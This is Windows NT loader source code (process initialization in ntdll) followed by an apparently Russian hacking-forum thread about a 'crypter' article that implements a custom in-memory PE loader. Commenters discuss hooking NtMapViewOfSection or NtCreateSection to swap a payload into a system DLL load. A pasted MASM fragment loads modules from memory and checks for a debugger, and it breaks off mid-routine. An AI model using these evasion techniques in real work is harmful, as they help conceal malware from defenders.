    st = RtlInitializeCriticalSection(&FastPebLock);
    if ( !NT_SUCCESS(st) ) {
        return st;
        }

    st = RtlInitializeCriticalSection(&RtlpCalloutEntryLock);
    if ( !NT_SUCCESS(st) ) {
        return st;
        }

    //
    // Initialize the Wmi stuff.
    //

    WmipInitializeDll();

    InitializeListHead(&RtlpCalloutEntryList);

#if defined(_AMD64_) || defined(_IA64_)

    InitializeListHead(&RtlpDynamicFunctionTable);

#endif

    InitializeListHead(&LdrpDllNotificationList);

    Peb->FastPebLock = &FastPebLock;
    Peb->FastPebLockRoutine = (PVOID)&RtlEnterCriticalSection;
    Peb->FastPebUnlockRoutine = (PVOID)&RtlLeaveCriticalSection;

    LDRP_CHECKPOINT();

    RtlInitializeHeapManager();

    LDRP_CHECKPOINT();

#if defined(_WIN64)
    if ((UseWOW64) ||
        (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)) {

        //
        // Create a heap using all defaults.  The 32-bit process heap
        // will be created later by ntdll32 using the parameters from the exe.
        //
        Peb->ProcessHeap = RtlCreateHeap( ProcessHeapFlags,
                                          NULL,
                                          0,
                                          0,
                                          NULL,
                                          &HeapParameters
                                        );
    } else
#endif
    {

        if (NtHeader->OptionalHeader.MajorSubsystemVersion <= 3 &&
            NtHeader->OptionalHeader.MinorSubsystemVersion < 51
           ) {
            ProcessHeapFlags |= HEAP_CREATE_ALIGN_16;
            }

        Peb->ProcessHeap = RtlCreateHeap( ProcessHeapFlags,
                                          NULL,
                                          NtHeader->OptionalHeader.SizeOfHeapReserve,
                                          NtHeader->OptionalHeader.SizeOfHeapCommit,
                                          NULL,             // Lock to use for serialization
                                          &HeapParameters);
    }

    if (Peb->ProcessHeap == NULL) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - unable to create process heap\n",
            __FUNCTION__);

        return STATUS_NO_MEMORY;
    }

    {
        //
        // Create the loader private heap.
        //
        RTL_HEAP_PARAMETERS LdrpHeapParameters;
        RtlZeroMemory( &LdrpHeapParameters, sizeof(LdrpHeapParameters));
        LdrpHeapParameters.Length = sizeof(LdrpHeapParameters);
        LdrpHeap = RtlCreateHeap(
                        HEAP_GROWABLE | HEAP_CLASS_1,
                        NULL,
                        64 * 1024, // 0 is ok here, 64k is a chosen tuned number
                        24 * 1024, // 0 is ok here, 24k is a chosen tuned number
                        NULL,
                        &LdrpHeapParameters);

        if (LdrpHeap == NULL) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s failing process initialization due to inability to create loader private heap.\n",
                __FUNCTION__);
            return STATUS_NO_MEMORY;
        }
    }
    LDRP_CHECKPOINT();

    NtdllBaseTag = RtlCreateTagHeap( Peb->ProcessHeap,
                                     0,
                                     L"NTDLL!",
                                     L"!Process\0"                  // Heap Name
                                     L"CSRSS Client\0"
                                     L"LDR Database\0"
                                     L"Current Directory\0"
                                     L"TLS Storage\0"
                                     L"DBGSS Client\0"
                                     L"SE Temporary\0"
                                     L"Temporary\0"
                                     L"LocalAtom\0"
                                   );

    RtlInitializeAtomPackage( MAKE_TAG( ATOM_TAG ) );

    LDRP_CHECKPOINT();

    //
    // Allow only the process heap to have page allocations turned on
    //

    if (ImageFileOptionsPresent) {

        st = LdrQueryImageFileExecutionOptions( UnicodeImageName,
                                                L"DebugProcessHeapOnly",
                                                REG_DWORD,
                                                &DebugProcessHeapOnly,
                                                sizeof( DebugProcessHeapOnly ),
                                                NULL
                                              );
        if (NT_SUCCESS( st )) {
            if ( RtlpDebugPageHeap &&
                 ( DebugProcessHeapOnly != 0 ) ) {

                RtlpDebugPageHeap = FALSE ;
            }
        }
    }

    LDRP_CHECKPOINT();

    SystemDllPath.Buffer = SystemDllPathBuffer;
    SystemDllPath.Length = 0;
    SystemDllPath.MaximumLength = sizeof(SystemDllPathBuffer);

    RtlInitUnicodeString( &NtSystemRoot, USER_SHARED_DATA->NtSystemRoot );
    RtlAppendUnicodeStringToString( &SystemDllPath, &NtSystemRoot );
    RtlAppendUnicodeToString( &SystemDllPath, L"\\System32\\" );

    RtlInitUnicodeString(&Unicode, L"\\KnownDlls");
    InitializeObjectAttributes( &Obja,
                                  &Unicode,
                                  OBJ_CASE_INSENSITIVE,
                                  NULL,
                                  NULL
                                );
    st = NtOpenDirectoryObject(
            &LdrpKnownDllObjectDirectory,
            DIRECTORY_QUERY | DIRECTORY_TRAVERSE,
            &Obja);
    if ( !NT_SUCCESS(st) ) {
        LdrpKnownDllObjectDirectory = NULL;
        // KnownDlls directory doesn't exist - assume it's system32.
        RtlInitUnicodeString(&LdrpKnownDllPath, SystemDllPath.Buffer);
        LdrpKnownDllPath.Length -= sizeof(WCHAR);    // remove trailing '\'
    } else {

        //
        // Open up the known dll pathname link
        // and query its value
        //

        RtlInitUnicodeString(&Unicode, L"KnownDllPath");
        InitializeObjectAttributes( &Obja,
                                      &Unicode,
                                      OBJ_CASE_INSENSITIVE,
                                      LdrpKnownDllObjectDirectory,
                                      NULL
                                    );
        st = NtOpenSymbolicLinkObject( &LinkHandle,
                                       SYMBOLIC_LINK_QUERY,
                                       &Obja
                                     );
        if (NT_SUCCESS( st )) {
            LdrpKnownDllPath.Length = 0;
            LdrpKnownDllPath.MaximumLength = sizeof(LdrpKnownDllPathBuffer);
            LdrpKnownDllPath.Buffer = LdrpKnownDllPathBuffer;
            st = NtQuerySymbolicLinkObject( LinkHandle,
                                            &LdrpKnownDllPath,
                                            NULL
                                          );
            NtClose(LinkHandle);
            if ( !NT_SUCCESS(st) ) {
                DbgPrintEx(
                    DPFLTR_LDR_ID,
                    LDR_ERROR_DPFLTR,
                    "LDR: %s - failed call to NtQuerySymbolicLinkObject with status %x\n",
                    __FUNCTION__,
                    st);

                return st;
            }
        } else {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - failed call to NtOpenSymbolicLinkObject with status %x\n",
                __FUNCTION__,
                st);
            return st;
        }
    }

    LDRP_CHECKPOINT();

    if (ProcessParameters) {

        //
        // If the process was created with process parameters,
        // then extract:
        //
        //      - Library Search Path
        //
        //      - Starting Current Directory
        //

        if (ProcessParameters->DllPath.Length)
            LdrpDefaultPath = ProcessParameters->DllPath;
        else
            LdrpInitializationFailure(STATUS_INVALID_PARAMETER);

        StaticCurDir = TRUE;
        CurDir = ProcessParameters->CurrentDirectory.DosPath;

#define DRIVE_ROOT_DIRECTORY_LENGTH 3 /* (sizeof("X:\\") - 1) */
        if (CurDir.Buffer == NULL || CurDir.Buffer[ 0 ] == UNICODE_NULL || CurDir.Length == 0) {
            CurDir.Buffer = (RtlAllocateStringRoutine)((DRIVE_ROOT_DIRECTORY_LENGTH + 1) * sizeof(WCHAR));
            if (CurDir.Buffer == NULL) {
                DbgPrintEx(
                    DPFLTR_LDR_ID,
                    LDR_ERROR_DPFLTR,
                    "LDR: %s - unable to allocate current working directory buffer\n",
                    __FUNCTION__);

                RtlRaiseStatus(STATUS_NO_MEMORY);
            }

            RtlMoveMemory( CurDir.Buffer,
                           USER_SHARED_DATA->NtSystemRoot,
                           DRIVE_ROOT_DIRECTORY_LENGTH * sizeof( WCHAR )
                         );
            CurDir.Buffer[ DRIVE_ROOT_DIRECTORY_LENGTH ] = UNICODE_NULL;
        }
    }

    //
    // Make sure the module data base is initialized before we take any
    // exceptions.
    //

    LDRP_CHECKPOINT();

    Peb->Ldr = RtlAllocateHeap(LdrpHeap, MAKE_TAG( LDR_TAG ), sizeof(PEB_LDR_DATA));
    if (!Peb->Ldr) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - failed to allocate PEB_LDR_DATA\n",
            __FUNCTION__);

        RtlRaiseStatus(STATUS_NO_MEMORY);
    }

    Peb->Ldr->Length = sizeof(PEB_LDR_DATA);
    Peb->Ldr->Initialized = TRUE;
    Peb->Ldr->SsHandle = NULL;
    Peb->Ldr->EntryInProgress = NULL;

    InitializeListHead(&Peb->Ldr->InLoadOrderModuleList);
    InitializeListHead(&Peb->Ldr->InMemoryOrderModuleList);
    InitializeListHead(&Peb->Ldr->InInitializationOrderModuleList);

    //
    // Allocate the first data table entry for the image. Since we
    // have already mapped this one, we need to do the allocation by hand.
    // Its characteristics identify it as not a Dll, but it is linked
    // into the table so that pc correlation searching doesn't have to
    // be special cased.
    //

    LDRP_CHECKPOINT();
    LdrDataTableEntry = LdrpImageEntry = LdrpAllocateDataTableEntry(Peb->ImageBaseAddress);
    if (LdrDataTableEntry == NULL) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - failing process initialization due to inability allocate \"%wZ\"'s LDR_DATA_TABLE_ENTRY\n",
            __FUNCTION__,
            &FullImageName);

        RtlRaiseStatus(STATUS_NO_MEMORY);
    }

    LdrDataTableEntry->LoadCount = (USHORT)0xffff;
    LdrDataTableEntry->EntryPoint = LdrpFetchAddressOfEntryPoint(LdrDataTableEntry->DllBase);
    LdrDataTableEntry->FullDllName = FullImageName;
    LdrDataTableEntry->Flags = (UseCOR) ? LDRP_COR_IMAGE : 0;
    LdrDataTableEntry->EntryPointActivationContext = NULL;

    // p = strrchr(FullImageName, '\\');
    // but not necessarily null terminated
    pp = UNICODE_NULL;
    p = FullImageName.Buffer;
    while (*p) {
        if (*p++ == (WCHAR)'\\') {
            pp = p;
        }
    }

    if (pp != NULL) {
        LdrDataTableEntry->BaseDllName.Length = (USHORT)((ULONG_PTR)p - (ULONG_PTR)pp);
        LdrDataTableEntry->BaseDllName.MaximumLength = LdrDataTableEntry->BaseDllName.Length + sizeof(WCHAR);
        LdrDataTableEntry->BaseDllName.Buffer =
            (PWSTR)
                (((ULONG_PTR) LdrDataTableEntry->FullDllName.Buffer) +
                    (LdrDataTableEntry->FullDllName.Length - LdrDataTableEntry->BaseDllName.Length));

    } else {
        LdrDataTableEntry->BaseDllName = LdrDataTableEntry->FullDllName;
    }

    LdrpInsertMemoryTableEntry(LdrDataTableEntry);

    LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED;

    //
    // The process references the system DLL, so map this one next. Since
    // we have already mapped this one, we need to do the allocation by
    // hand. Since every application will be statically linked to the
    // system Dll, we'll keep the LoadCount initialized to 0.
    //

    LdrDataTableEntry = LdrpAllocateDataTableEntry(SystemDllBase);
    if (LdrDataTableEntry == NULL) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - failing process initialization due to inability to allocate NTDLL's LDR_DATA_TABLE_ENTRY\n",
            __FUNCTION__);

        RtlRaiseStatus(STATUS_NO_MEMORY);
    }

    LdrDataTableEntry->Flags = (USHORT)LDRP_IMAGE_DLL;
    LdrDataTableEntry->EntryPoint = LdrpFetchAddressOfEntryPoint(LdrDataTableEntry->DllBase);
    LdrDataTableEntry->LoadCount = (USHORT)0xffff;
    LdrDataTableEntry->EntryPointActivationContext = NULL;

    LdrDataTableEntry->FullDllName = SystemDllPath;
    RtlAppendUnicodeStringToString(&LdrDataTableEntry->FullDllName, &NtDllName);
    LdrDataTableEntry->BaseDllName = NtDllName;

    LdrpInsertMemoryTableEntry(LdrDataTableEntry);

#if defined(_AMD64_) // || defined(_IA64_)

    RtlInitializeHistoryTable();

#endif

    LdrpNtDllDataTableEntry = LdrDataTableEntry;

    if (ShowSnaps) {
        DbgPrint( "LDR: NEW PROCESS\n" );
        DbgPrint( "     Image Path: %wZ (%wZ)\n",
                  &LdrpImageEntry->FullDllName,
                  &LdrpImageEntry->BaseDllName
                );
        DbgPrint( "     Current Directory: %wZ\n", &CurDir );
        DbgPrint( "     Search Path: %wZ\n", &LdrpDefaultPath );
    }



    //
    // Add init routine to list
    //

    InsertHeadList(&Peb->Ldr->InInitializationOrderModuleList,
                   &LdrDataTableEntry->InInitializationOrderLinks);

    //
    // Inherit the current directory
    //

    LDRP_CHECKPOINT();
    st = RtlSetCurrentDirectory_U(&CurDir);
    if (!NT_SUCCESS(st)) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - unable to set current directory to \"%wZ\"; status = %x\n",
            __FUNCTION__,
            &CurDir,
            st);

        if (!StaticCurDir)
            RtlFreeUnicodeString(&CurDir);

        CurDir = NtSystemRoot;
        st = RtlSetCurrentDirectory_U(&CurDir);
        if (!NT_SUCCESS(st))
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - unable to set current directory to NtSystemRoot; status = %x\n",
                __FUNCTION__,
                &CurDir);
        }
    else {
        if ( !StaticCurDir ) {
            RtlFreeUnicodeString(&CurDir);
            }
        }
    if (ProcessParameters->Flags & RTL_USER_PROC_APP_MANIFEST_PRESENT) {
        // Application manifests prevent .local detection.
        //
        // Note that we don't clear the flag so that someone like app compat
        // can forcibly set it to reenable .local + app manifest behavior.
    } else {
        //
        // Fusion 1.0 fixup : check the existence of .local, and set
        // a flag in PPeb->ProcessParameters.Flags
        //
        // Setup the global for this process that decides whether we want DLL
        // redirection on or not. LoadLibrary() and GetModuleHandle() look at this
        // boolean.

        ImagePathName.Length = ProcessParameters->ImagePathName.Length ;
        ImagePathName.MaximumLength =  ProcessParameters->ImagePathName.Length + sizeof(DLL_REDIRECTION_LOCAL_SUFFIX);
        ImagePathNameBuffer = (PWCHAR) RtlAllocateHeap( RtlProcessHeap(), MAKE_TAG( TEMP_TAG ), ImagePathName.MaximumLength);
        if (ImagePathNameBuffer == NULL) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - unable to allocate heap for the image's .local path\n",
                __FUNCTION__);

            return STATUS_NO_MEMORY;
        }

        pw = (PWSTR)ProcessParameters->ImagePathName.Buffer;
        if (!(ProcessParameters->Flags & RTL_USER_PROC_PARAMS_NORMALIZED)) {
            pw = (PWSTR)((PCHAR)pw + (ULONG_PTR)(ProcessParameters));
        }

        RtlCopyMemory(ImagePathNameBuffer, pw,ProcessParameters->ImagePathName.Length);

        ImagePathName.Buffer = ImagePathNameBuffer;

        // Now append the suffix:
        st = RtlAppendUnicodeToString(&ImagePathName, DLL_REDIRECTION_LOCAL_SUFFIX);
        if (!NT_SUCCESS(st)) {
    #if DBG
            DbgPrint("RtlAppendUnicodeToString fails with status %lx\n", st);
    #endif
            RtlFreeHeap(RtlProcessHeap(), 0, ImagePathNameBuffer);
            return st;
        }

        // RtlDoesFileExists_U() wants a null-terminated string.
        ImagePathNameBuffer[ImagePathName.Length / sizeof(WCHAR)] = UNICODE_NULL;
        DotLocalExists = RtlDoesFileExists_U(ImagePathNameBuffer);

        if (DotLocalExists)  // set the flag in Peb->ProcessParameters->flags
            ProcessParameters->Flags |=  RTL_USER_PROC_DLL_REDIRECTION_LOCAL ;

        RtlFreeHeap(RtlProcessHeap(), 0, ImagePathNameBuffer); //cleanup
    }

    //
    // Second round of application verifier initialization. We need to split
    // this into two phases because some verifier things must happen very early
    // in the game and other things rely on other things being already initialized
    // (exception dispatching, system heap, etc.).
    //

    if (Peb->NtGlobalFlag & FLG_APPLICATION_VERIFIER) {
        AVrfInitializeVerifier (FALSE, NULL, 1);
    }

#if defined(_WIN64)
    //
    // Load in WOW64 if the image is supposed to run simulated
    //
    if (UseWOW64) {
        /*CONST*/ static UNICODE_STRING Wow64DllName = RTL_CONSTANT_STRING(L"wow64.dll");
        CONST static ANSI_STRING Wow64LdrpInitializeProcName = RTL_CONSTANT_STRING("Wow64LdrpInitialize");
        CONST static ANSI_STRING Wow64PrepareForExceptionProcName = RTL_CONSTANT_STRING("Wow64PrepareForException");
        CONST static ANSI_STRING Wow64ApcRoutineProcName = RTL_CONSTANT_STRING("Wow64ApcRoutine");

        st = LdrLoadDll(NULL, NULL, &Wow64DllName, &Wow64Handle);
        if (!NT_SUCCESS(st)) {
            if (ShowSnaps) {
                DbgPrint("LDR: wow64.dll not found.  Status=%x\n", st);
            }
            return st;
        }

        //
        // Get the entrypoints.  They are roughly cloned from ntos\ps\psinit.c
        // PspInitSystemDll().
        //
        st = LdrGetProcedureAddress(Wow64Handle,
                                    &Wow64LdrpInitializeProcName,
                                    0,
                                    (PVOID *)&Wow64LdrpInitialize);
        if (!NT_SUCCESS(st)) {
            if (ShowSnaps) {
                DbgPrint("LDR: Wow64LdrpInitialize not found.  Status=%x\n", st);
            }
            return st;
        }

        st = LdrGetProcedureAddress(Wow64Handle,
                                    &Wow64PrepareForExceptionProcName,
                                    0,
                                    (PVOID *)&Wow64PrepareForException);
        if (!NT_SUCCESS(st)) {
            if (ShowSnaps) {
                DbgPrint("LDR: Wow64PrepareForException not found.  Status=%x\n", st);
            }
            return st;
        }

        st = LdrGetProcedureAddress(Wow64Handle,
                                    &Wow64ApcRoutineProcName,
                                    0,
                                    (PVOID *)&Wow64ApcRoutine);
        if (!NT_SUCCESS(st)) {
            if (ShowSnaps) {
                DbgPrint("LDR: Wow64ApcRoutine not found.  Status=%x\n", st);
            }
            return st;
        }

        //
        // Now that all DLLs are loaded, if the process is being debugged,
        // signal the debugger with an exception
        //

        if ( Peb->BeingDebugged ) {
             DbgBreakPoint();
        }

        //
        // Release the loaderlock now - this thread doesn't need it any more.
        //
        RtlLeaveCriticalSection(&LdrpLoaderLock);

        //
        // Call wow64 to load and run 32-bit ntdll.dll.
        //
        (*Wow64LdrpInitialize)(Context);
        // This never returns.  It will destroy the process.
    }
#endif

    LDRP_CHECKPOINT();

    //
    // Check if image is COM+.
    //

    if (UseCOR) {
        //
        // The image is COM+ so notify the runtime that the image was loaded
        // and allow it to verify the image for correctness.
        //
        PVOID OriginalViewBase = Peb->ImageBaseAddress;

        st = LdrpCorValidateImage(&Peb->ImageBaseAddress,
                                  LdrpImageEntry->FullDllName.Buffer);
        if (!NT_SUCCESS(st)) {
            return st;
        }
        if (OriginalViewBase != Peb->ImageBaseAddress) {
            //
            // Mscoree has substituted a new image at a new base in place
            // of the original image.  Unmap the original image and use
            // the new image from now on.
            //
            NtUnmapViewOfSection(NtCurrentProcess(), OriginalViewBase);
            NtHeader = RtlImageNtHeader(Peb->ImageBaseAddress);
            if (!NtHeader) {
                LdrpCorUnloadImage(Peb->ImageBaseAddress);
                return STATUS_INVALID_IMAGE_FORMAT;
            }
            // Update the exe's LDR_DATA_TABLE_ENTRY
            LdrpImageEntry->DllBase = Peb->ImageBaseAddress;
            LdrpImageEntry->EntryPoint = LdrpFetchAddressOfEntryPoint(LdrpImageEntry->DllBase);
        }
        // Edit the initial instruction pointer to point into mscoree.dll
        LdrpCorReplaceStartContext(Context);
    }

    LDRP_CHECKPOINT();

    // If this is a windows subsystem app, load kernel32 so that it can handle processing
    // activation contexts found in DLLs and the .exe.

    if ((NtHeader->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) ||
        (NtHeader->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_CUI)) {
        UNICODE_STRING Kernel32DllName = RTL_CONSTANT_STRING(L"kernel32.dll");
        PVOID Kernel32Handle;

        st = LdrpLoadDll(
                0,                  // Flags
                NULL,               // DllPath
                NULL,               // DllCharacteristics
                &Kernel32DllName,   // DllName
                &Kernel32Handle,    // DllHandle
                TRUE);             // RunInitRoutines
        if (!NT_SUCCESS(st)) {
            if (ShowSnaps) {
                DbgPrint("LDR: Unable to load kernel32.dll.  Status=%x\n", st);
            }
            return st;
        }

        st = LdrGetProcedureAddress(Kernel32Handle, &Kernel32ProcessInitPostImportFunctionName, 0, (PVOID *) &Kernel32ProcessInitPostImportFunction);
        if (!NT_SUCCESS(st)) {
            if (ShowSnaps) {
                DbgPrint(
                    "LDR: Failed to find post-import process init function in kernel32; ntstatus 0x%08lx\n", st);
            }
            Kernel32ProcessInitPostImportFunction = NULL;

            if (st != STATUS_PROCEDURE_NOT_FOUND)
                return st;
        }
    }

    LDRP_CHECKPOINT();

    st = LdrpWalkImportDescriptor(LdrpDefaultPath.Buffer, LdrpImageEntry);
    if (!NT_SUCCESS(st))
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - call to LdrpWalkImportDescriptor failed with status %x\n",
            __FUNCTION__,
            st);

    LDRP_CHECKPOINT();

    if ((PVOID)NtHeader->OptionalHeader.ImageBase != Peb->ImageBaseAddress) {

        //
        // The executable is not at its original address.  It must be
        // relocated now.
        //

        PVOID ViewBase;
        NTSTATUS status;

        ViewBase = Peb->ImageBaseAddress;

        status = LdrpSetProtection(ViewBase, FALSE, TRUE);

        if (!NT_SUCCESS(status)) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - call to LdrpSetProtection(%p, FALSE, TRUE) failed with status %x\n",
                __FUNCTION__,
                ViewBase,
                status);

            return status;
        }

        status = LdrRelocateImage(ViewBase,
                    "LDR",
                    STATUS_SUCCESS,
                    STATUS_CONFLICTING_ADDRESSES,
                    STATUS_INVALID_IMAGE_FORMAT
                    );

        if (!NT_SUCCESS(status)) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - call to LdrRelocateImage failed with status %x\n",
                __FUNCTION__,
                status);

            return status;
        }

        //
        // Update the initial thread context record as per the relocation.
        //

        if (Context) {

            OldBase = NtHeader->OptionalHeader.ImageBase;
            Diff = (PCHAR)ViewBase - (PCHAR)OldBase;

            LdrpRelocateStartContext(Context, Diff);
        }

        status = LdrpSetProtection(ViewBase, TRUE, TRUE);
        if (!NT_SUCCESS(status)) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - call to LdrpSetProtection(%p, TRUE, TRUE) failed with status %x\n",
                __FUNCTION__,
                ViewBase,
                status);

            return status;
        }
    }

    LDRP_CHECKPOINT();

    LdrpReferenceLoadedDll(LdrpImageEntry);

    //
    // Lock the loaded DLLs to prevent dlls that back link to the exe to
    // cause problems when they are unloaded.
    //

    {
        PLDR_DATA_TABLE_ENTRY Entry;
        PLIST_ENTRY Head,Next;

        Head = &Peb->Ldr->InLoadOrderModuleList;
        Next = Head->Flink;

        while ( Next != Head ) {
            Entry = CONTAINING_RECORD(Next, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
            Entry->LoadCount = 0xffff;
            Next = Next->Flink;
        }
    }

    //
    // All static DLLs are now pinned in place. No init routines have been run yet
    //

    LdrpLdrDatabaseIsSetup = TRUE;


    if (!NT_SUCCESS(st)) {
#if DBG
        DbgPrint("LDR: Initialize of image failed. Returning Error Status 0x%lx\n", st);
#endif
        return st;
    }

    LDRP_CHECKPOINT();

    if ( !NT_SUCCESS(st = LdrpInitializeTls()) ) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - failed to initialize TLS slots; status %x\n",
            __FUNCTION__,
            st);

        return st;
    }

    //
    // Register initial dll ranges with the stack tracing module.
    // This is used for getting reliable stack traces on X86.
    //

#if defined(_X86_)
    {

        PLIST_ENTRY Current, Start;
        PLDR_DATA_TABLE_ENTRY Entry;

        Start = &(NtCurrentPeb()->Ldr->InMemoryOrderModuleList);
        Current = Start->Flink;

        while (Current != Start) {

            Entry = CONTAINING_RECORD (Current,
                                       LDR_DATA_TABLE_ENTRY,
                                       InMemoryOrderLinks);

            RtlpStkMarkDllRange (Entry);
            Current = Current->Flink;
        }
    }
#endif

    //
    // Now that all DLLs are loaded, if the process is being debugged,
    // signal the debugger with an exception
    //

    if (Peb->BeingDebugged) {
         DbgBreakPoint();
         ShowSnaps = ((FLG_SHOW_LDR_SNAPS & Peb->NtGlobalFlag) != 0);
    }

    LDRP_CHECKPOINT();

#if defined (_X86_)
    if ( LdrpNumberOfProcessors > 1 ) {
        LdrpValidateImageForMp(LdrDataTableEntry);
    }
#endif

#if DBG
    if (LdrpDisplayLoadTime) {
        NtQueryPerformanceCounter(&InitbTime, NULL);
    }
#endif // DBG

    //
    // Check for shimmed apps if necessary
    //
    if (pAppCompatExeData != NULL) {

        Peb->AppCompatInfo = NULL;

        //
        // The name of the engine is the first thing in the appcompat structure.
        //
        LdrpLoadShimEngine((WCHAR*)pAppCompatExeData, UnicodeImageName, pAppCompatExeData);
        }
    else {
        //
        // Get all application goo here (hacks, flags, etc.)
        //
        LdrQueryApplicationCompatibilityGoo(UnicodeImageName, ImageFileOptionsPresent);
        }

    LDRP_CHECKPOINT();

    if (Kernel32ProcessInitPostImportFunction != NULL) {
        st = (*Kernel32ProcessInitPostImportFunction)();
        if (!NT_SUCCESS(st)) {
            DbgPrintEx(
                DPFLTR_LDR_ID,
                LDR_ERROR_DPFLTR,
                "LDR: %s - Failed running kernel32 post-import function; status 0x%08lx\n",
                __FUNCTION__,
                st);

            return st;
        }
    }

    LDRP_CHECKPOINT();

    st = LdrpRunInitializeRoutines(Context);
    if (!NT_SUCCESS(st)) {
        DbgPrintEx(
            DPFLTR_LDR_ID,
            LDR_ERROR_DPFLTR,
            "LDR: %s - Failed running initialization routines; status %x\n",
            __FUNCTION__,
            st);

        return st;
    }

    //
    // Shim engine callback.
    //
    if (g_pfnSE_InstallAfterInit != NULL) {
        if (!(*g_pfnSE_InstallAfterInit)(UnicodeImageName, pAppCompatExeData)) {
            LdrpUnloadShimEngine();
        }
    }

    if ( NT_SUCCESS(st) && Peb->PostProcessInitRoutine ) {
        (Peb->PostProcessInitRoutine)();
    }

    LDRP_CHECKPOINT();

    return STATUS_SUCCESS;
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Попрошу писать такие годные статьи вне рамках конкурсных статей. Информативно же
 
Неплохо, но почему статья называется криптор? Если по факту это загрузчик образа.

Не увидел обработку forward-импорта, например иногда в таблице импорта для kernel32 GetLastError стоит не адрес этой апи, а строка вида NTDLL.RtlGetLastWin32Error

Индюк, кстати, вбрасывал интересную тему по загрузке образа силами ОС, чисто на перехвате NtCreateSection
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Индюк, кстати, вбрасывал интересную тему по загрузке образа силами ОС, чисто на перехвате NtCreateSection
Если я правильно помню, там он находил неэкспортируемую из ntdll.dll функцию загрузчика образов (Ldr*). Не совсем понимаю, причем тут может быть перехват NtCreateSection.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Инди утверждал, что нереально закодить полноценный пе лоадер (т.к. винда имеет массу нюансов), и предлагал грузить с помощью системных механизмов.

перехват NtCreateSection.
Есть такая техника, похукать NtMapViewOfSection , далее вызвать LoadLibrary("какая-то системная длл"), подменив пейлоад своим файлом. Мб речь об этом.
 
причем тут может быть перехват NtCreateSection

Потому, что когда мапится образ в память, создается секция по хендлу файла. Возможно это я сам уже выдумал, но смысл был около того.
 
Неплохо, но почему статья называется криптор? Если по факту это загрузчик образа.
Потому что по сути это продолжение темы и проекта из первой статьи, можно конечно переименовать в "Криптор исполняемых файлов. PeLoader", но думаю и так нормально.

Не увидел обработку forward-импорта, например иногда в таблице импорта для kernel32 GetLastError стоит не адрес этой апи, а строка вида NTDLL.RtlGetLastWin32Error
С такими семплами не сталкивался, это скорее для системных виндовых файлов. Ну докрутить такое не есть большая проблема для тех, кому это может быть нужно.

Индюк, кстати, вбрасывал интересную тему по загрузке образа силами ОС, чисто на перехвате NtCreateSection
Ну в целом да, основа ZwCreateSection, он реализовал свой враппер над функцией LdrLoadDll запилил:

Код:
; o Враппер для системного загрузчика(для загрузки модулей из памяти).
; o Indy, 2010
;
    .686
    .model flat, stdcall
    option casemap :none
   
    include \masm32\include\ntdll.inc
    include Hdr.inc
.code
MiEntry:
    test eax,eax
    jz xLdrLoadDll
    dec eax
    jz LdrImageQueryEntryFromCrc32
    dec eax
    jz LdrEncodeEntriesList
    mov eax,STATUS_UNSUCCESSFUL
    ret

    include Img.asm
    include Trap.asm

; +
; Если имеется отладочный порт, будет сгенерировано #STATUS_HANDLE_NOT_CLOSABLE.
; o Вызывается калбэк KiRaiseUserExceptionDispatcher().
;
xIsDebuggerPresent proc uses ebx Environment:PENVIRONMENT
    Call SEH_Epilog_Reference
    Call SEH_Prolog
    mov eax,Environment
    assume eax:PENVIRONMENT
    push [eax].SectionHandle
    Call [eax].Fn.pZwClose
    xor eax,eax
    jmp Exit
SEH_Epilog_Reference:
    GET_CURRENT_GRAPH_ENTRY
Exit:
    Call SEH_Epilog
    ret
xIsDebuggerPresent endp

; +
;
xLdrLoadDll proc uses ebx esi edi MapAddress:PVOID, DllName:PSTR, DllCharacteristics:PULONG, ImageBase:PVOID
Local Status:NTSTATUS
Local BufferSize:ULONG
Local ObjectInformation:DWORD    ; OBJECT_HANDLE_FLAG_INFORMATION
Local ImageHeader:PIMAGE_NT_HEADERS
    Call SEH_Epilog_Reference
    Call SEH_Prolog
    xor eax,eax
    mov Status,STATUS_UNSUCCESSFUL
; o Переменные храним в стеке.
; o Ссылку храним на дне стека.
    push eax    ; Status
    push eax    ; Recursion
    push eax    ; BugIp
    push eax    ; Buffer
    push eax    ; ViewBase
    push eax    ; DesiredBase
    push eax    ; SectionHandle
    sub esp,2*sizeof(UNICODE_STRING) + 4    ; + StackData
    push eax    ; CalloutList
    $PUSH_FN_TABLE
    mov ebx,esp
    assume ebx:PENVIRONMENT
    invoke LdrEncodeEntriesList, Eax, Eax, Ebx
    test eax,eax
    jnz Clear
    invoke LdrImageNtHeader, MapAddress, addr ImageHeader
    test eax,eax
    mov ecx,ImageHeader
    jnz Clear
    mov ecx,IMAGE_NT_HEADERS.OptionalHeader.ImageBase[ecx]
    lea eax,BufferSize
    lea edx,[ebx].Buffer
    push PAGE_EXECUTE_READWRITE
